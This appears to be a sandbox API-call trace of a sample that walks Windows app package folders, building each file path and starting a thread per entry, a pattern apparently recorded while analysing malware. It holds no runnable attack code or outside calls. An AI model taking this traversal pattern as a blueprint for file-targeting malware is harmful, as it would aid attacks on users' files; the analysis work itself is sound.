	[0077.215] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47cbf08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc60
	[0077.215] FindNextFileW (in: hFindFile=0x2d70d00, lpFindFileData=0x2db8d00 | out: lpFindFileData=0x2db8d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dfefce, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x96dfefce, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x96dfefce, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2995, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0077.215] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0077.215] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0077.215] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47c9440
	[0077.215] wcscpy (in: _Dest=0x47c9440, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe"
	[0077.215] wcscat (in: _Dest=0x47c9440, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\"
	[0077.215] wcscat (in: _Dest=0x47c9440, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0077.215] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47c9440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc64
	[0077.216] FindNextFileW (in: hFindFile=0x2d70d00, lpFindFileData=0x2db8d00 | out: lpFindFileData=0x2db8d00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96dfefce, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa97d9a35, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9764f8c5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0077.216] wcscmp (_String1="Assets", _String2=".") returned 1
	[0077.216] wcscmp (_String1="Assets", _String2="..") returned 1
	[0077.216] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x2ddb5f0
	[0077.216] wcscpy (in: _Dest=0x2ddb5f0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe"
	[0077.216] wcscat (in: _Dest=0x2ddb5f0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\"
	[0077.216] wcscat (in: _Dest=0x2ddb5f0, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets"
	[0077.216] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2ddb5f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc68
	[0077.217] FindNextFileW (in: hFindFile=0x2d70d00, lpFindFileData=0x2db8d00 | out: lpFindFileData=0x2db8d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x977346e6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9853e192, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9853e192, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1023200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Builder3D.exe", cAlternateFileName="")) returned 1
	[0077.217] wcscmp (_String1="Builder3D.exe", _String2=".") returned 1
	[0077.217] wcscmp (_String1="Builder3D.exe", _String2="..") returned 1
	[0077.217] FindNextFileW (in: hFindFile=0x2d70d00, lpFindFileData=0x2db8d00 | out: lpFindFileData=0x2db8d00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9853e192, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9bd24bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9853e192, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common", cAlternateFileName="")) returned 1
	[0077.217] wcscmp (_String1="Common", _String2=".") returned 1
	[0077.217] wcscmp (_String1="Common", _String2="..") returned 1
	[0077.217] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x2ddaa70
	[0077.217] wcscpy (in: _Dest=0x2ddaa70, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe"
	[0077.217] wcscat (in: _Dest=0x2ddaa70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\"
	[0077.218] wcscat (in: _Dest=0x2ddaa70, _Source="Common" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Common") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Common"
	[0077.218] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2ddaa70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc6c
	[0077.218] FindNextFileW (in: hFindFile=0x2d70d00, lpFindFileData=0x2db8d00 | out: lpFindFileData=0x2db8d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98566969, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x98573136, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x98573136, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x32000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lib3mfUAP.dll", cAlternateFileName="")) returned 1
	[0077.218] wcscmp (_String1="Lib3mfUAP.dll", _String2=".") returned 1
	[0077.218] wcscmp (_String1="Lib3mfUAP.dll", _String2="..") returned 1
	[0077.218] FindNextFileW (in: hFindFile=0x2d70d00, lpFindFileData=0x2db8d00 | out: lpFindFileData=0x2db8d00*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb3cc2682, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb3cc2682, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb3cc2682, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0077.218] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0077.218] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0077.218] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x2e02778
	[0077.219] wcscpy (in: _Dest=0x2e02778, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe"
	[0077.219] wcscat (in: _Dest=0x2e02778, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\"
	[0077.219] wcscat (in: _Dest=0x2e02778, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0077.219] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e02778, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc70
	[0077.219] FindNextFileW (in: hFindFile=0x2d70d00, lpFindFileData=0x2db8d00 | out: lpFindFileData=0x2db8d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98573136, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x98685908, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x98685908, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x6cf18, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0077.219] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0077.219] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0077.219] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x47cb350
	[0077.219] wcscpy (in: _Dest=0x47cb350, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe"
	[0077.220] wcscat (in: _Dest=0x47cb350, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\"
	[0077.220] wcscat (in: _Dest=0x47cb350, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\resources.pri"
	[0077.220] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47cb350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc74
	[0077.220] FindNextFileW (in: hFindFile=0x2d70d00, lpFindFileData=0x2db8d00 | out: lpFindFileData=0x2db8d00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98573136, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x98685908, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x98685908, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x6cf18, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 0
	[0077.220] FindClose (in: hFindFile=0x2d70d00 | out: hFindFile=0x2d70d00) returned 1
	[0077.221] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2db8d00) returned 1
	[0077.221] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61210) returned 1
	[0077.221] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d62760) returned 1

Thread:
	id = 248
	os_tid = 0x1294

	[0076.769] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb2) returned 0x2d84c38
	[0076.769] wcscpy (in: _Dest=0x2d84c38, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe"
	[0076.769] wcscat (in: _Dest=0x2d84c38, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\"
	[0076.769] wcscat (in: _Dest=0x2d84c38, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\*"
	[0076.769] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2db7c28
	[0076.769] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x2db7c28 | out: lpFindFileData=0x2db7c28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x339fb10b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb4a05954, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb4a05954, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad4b8
	[0078.803] wcscmp (_String1=".", _String2=".") returned 0
	[0078.803] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x2db7c28 | out: lpFindFileData=0x2db7c28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x339fb10b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb4a05954, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb4a05954, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.803] wcscmp (_String1="..", _String2=".") returned 1
	[0078.803] wcscmp (_String1="..", _String2="..") returned 0
	[0078.803] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x2db7c28 | out: lpFindFileData=0x2db7c28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33a21364, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33a6d81b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33a6d81b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x16cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0078.803] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0078.803] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0078.803] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x477c968
	[0078.803] wcscpy (in: _Dest=0x477c968, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe"
	[0078.803] wcscat (in: _Dest=0x477c968, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\"
	[0078.803] wcscat (in: _Dest=0x477c968, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0078.867] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477c968, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x368
	[0078.869] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x2db7c28 | out: lpFindFileData=0x2db7c28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x339fb10b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33a21364, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33a21364, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xf40, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0078.869] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0078.869] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0078.869] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x477ce78
	[0078.869] wcscpy (in: _Dest=0x477ce78, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe"
	[0078.869] wcscat (in: _Dest=0x477ce78, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\"
	[0078.869] wcscat (in: _Dest=0x477ce78, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxManifest.xml"
	[0078.869] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477ce78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe10
	[0078.869] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x2db7c28 | out: lpFindFileData=0x2db7c28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33a6d81b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9cb9e99, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33a6d81b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0078.869] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0078.869] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0078.869] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47e9b80
	[0078.870] wcscpy (in: _Dest=0x47e9b80, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe"
	[0078.870] wcscat (in: _Dest=0x47e9b80, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\"
	[0078.870] wcscat (in: _Dest=0x47e9b80, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0078.870] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47e9b80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe14
	[0078.870] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x2db7c28 | out: lpFindFileData=0x2db7c28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33a6d81b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33a6d81b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33a6d81b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2991, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0078.870] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0078.870] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0078.870] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x477e650
	[0078.870] wcscpy (in: _Dest=0x477e650, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe"
	[0078.870] wcscat (in: _Dest=0x477e650, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\"
	[0078.870] wcscat (in: _Dest=0x477e650, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0078.870] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477e650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe18
	[0078.871] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x2db7c28 | out: lpFindFileData=0x2db7c28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33a6d81b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33a6d81b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33a6d81b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xc9, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1
	[0078.871] wcscmp (_String1="logo.png", _String2=".") returned 1
	[0078.871] wcscmp (_String1="logo.png", _String2="..") returned 1
	[0078.871] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x476f8d0
	[0078.871] wcscpy (in: _Dest=0x476f8d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe"
	[0078.871] wcscat (in: _Dest=0x476f8d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\"
	[0078.871] wcscat (in: _Dest=0x476f8d0, _Source="logo.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\logo.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\logo.png"
	[0078.871] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x476f8d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe1c
	[0078.872] FindNextFileW (in: hFindFile=0x2dad4b8, lpFindFileData=0x2db7c28 | out: lpFindFileData=0x2db7c28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ccfdd0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9cba947, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33cf6025, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Advertising", cAlternateFileName="MICROS~1.ADV")) returned 1
	[0078.872] wcscmp (_String1="Microsoft.Advertising", _String2=".") returned 1
	[0078.872] wcscmp (_String1="Microsoft.Advertising", _String2="..") returned 1
	[0078.872] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x47675d8
	[0078.872] wcscpy (in: _Dest=0x47675d8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe"
